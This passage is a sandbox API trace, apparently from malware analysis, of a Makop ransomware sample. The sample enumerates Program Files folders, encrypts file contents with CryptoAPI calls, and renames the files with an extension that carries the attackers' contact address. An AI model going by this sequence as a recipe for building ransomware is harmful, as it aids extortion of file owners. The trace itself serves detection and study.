dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.642] GetLastError () returned 0x5 [0104.642] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp") returned 73 [0104.642] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.643] GetLastError () returned 0x5 [0104.643] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp") returned 75 [0104.643] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.643] GetLastError () returned 0x5 [0104.902] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0104.903] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0104.903] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0104.907] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0104.907] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0104.907] GetProcessHeap () returned 0x48a0000 [0104.908] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0104.908] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0104.908] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0104.908] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0104.908] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0104.908] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0104.908] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0104.909] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0104.909] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0104.909] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0104.909] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0104.909] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.909] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1cc, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x1cc, lpOverlapped=0x0) returned 1 [0104.909] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x1d0) returned 1 [0104.909] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.910] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x1d0, lpOverlapped=0x0) returned 1 [0104.910] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0104.910] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.910] SetEndOfFile (hFile=0x124) returned 1 [0104.917] GetProcessHeap () returned 0x48a0000 [0104.917] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0104.917] GetProcessHeap () returned 0x48a0000 [0104.917] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0104.917] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 100 [0104.917] MoveFileW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), lpNewFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0104.920] CloseHandle (hObject=0x124) returned 1 [0104.920] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 0 [0104.920] FindClose (in: hFindFile=0x48c70a8 | out: hFindFile=0x48c70a8) returned 1 [0104.921] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0104.921] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0104.921] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.921] GetLastError () returned 0x5 [0104.921] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0104.921] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0104.922] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xddc3aa60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddc3aa60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0104.922] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services") returned 44 [0104.922] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\*.*") returned 48 [0104.922] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xddc3aa60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddc3aa60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0104.922] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xddc3aa60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddc3aa60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.923] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9683c30, ftCreationTime.dwHighDateTime=0x1d56c02, ftLastAccessTime.dwLowDateTime=0x7f5f4680, ftLastAccessTime.dwHighDateTime=0x1d5a100, ftLastWriteTime.dwLowDateTime=0x7f5f4680, ftLastWriteTime.dwHighDateTime=0x1d5a100, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="afr38.exe", cAlternateFileName="")) returned 1 [0104.923] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0104.923] wsprintfW (in: param_1=0x657c270, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB") returned 53 [0104.923] wsprintfW (in: param_1=0x65797f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*.*") returned 57 [0104.923] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*.*", lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70a8 [0104.924] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.924] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0104.924] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10") returned 56 [0104.924] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*") returned 60 [0104.924] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0104.929] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.930] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0104.930] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned 67 [0104.930] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*") returned 71 [0104.930] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0104.933] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.933] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0104.933] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0104.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0104.934] GetProcessHeap () returned 0x48a0000 [0104.934] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0104.934] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0104.934] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0104.935] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0104.935] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0104.935] GetProcessHeap () returned 0x48a0000 [0104.935] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0104.935] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0104.935] CryptDestroyKey (hKey=0x48c7168) returned 1 [0104.935] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0104.950] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0104.950] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0104.951] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0104.951] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0104.951] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0104.951] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0104.951] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0104.951] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.952] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4360, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x4360, lpOverlapped=0x0) returned 1 [0104.954] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x4360, dwBufLen=0x4360 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x4360) returned 1 [0104.954] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.954] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x4360, lpOverlapped=0x0) returned 1 [0104.955] CryptDestroyKey (hKey=0x48c7168) returned 1 [0104.955] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x4424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.955] SetEndOfFile (hFile=0x138) returned 1 [0104.962] GetProcessHeap () returned 0x48a0000 [0104.962] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0104.962] GetProcessHeap () returned 0x48a0000 [0104.962] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0104.962] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0104.962] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0104.964] CloseHandle (hObject=0x138) returned 1 [0104.964] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0104.964] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0104.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0104.966] GetProcessHeap () returned 0x48a0000 [0104.966] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0104.966] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0104.966] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0104.967] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xe, lpOverlapped=0x0) returned 1 [0104.971] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0104.971] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0104.972] GetProcessHeap () returned 0x48a0000 [0104.972] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0104.972] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, 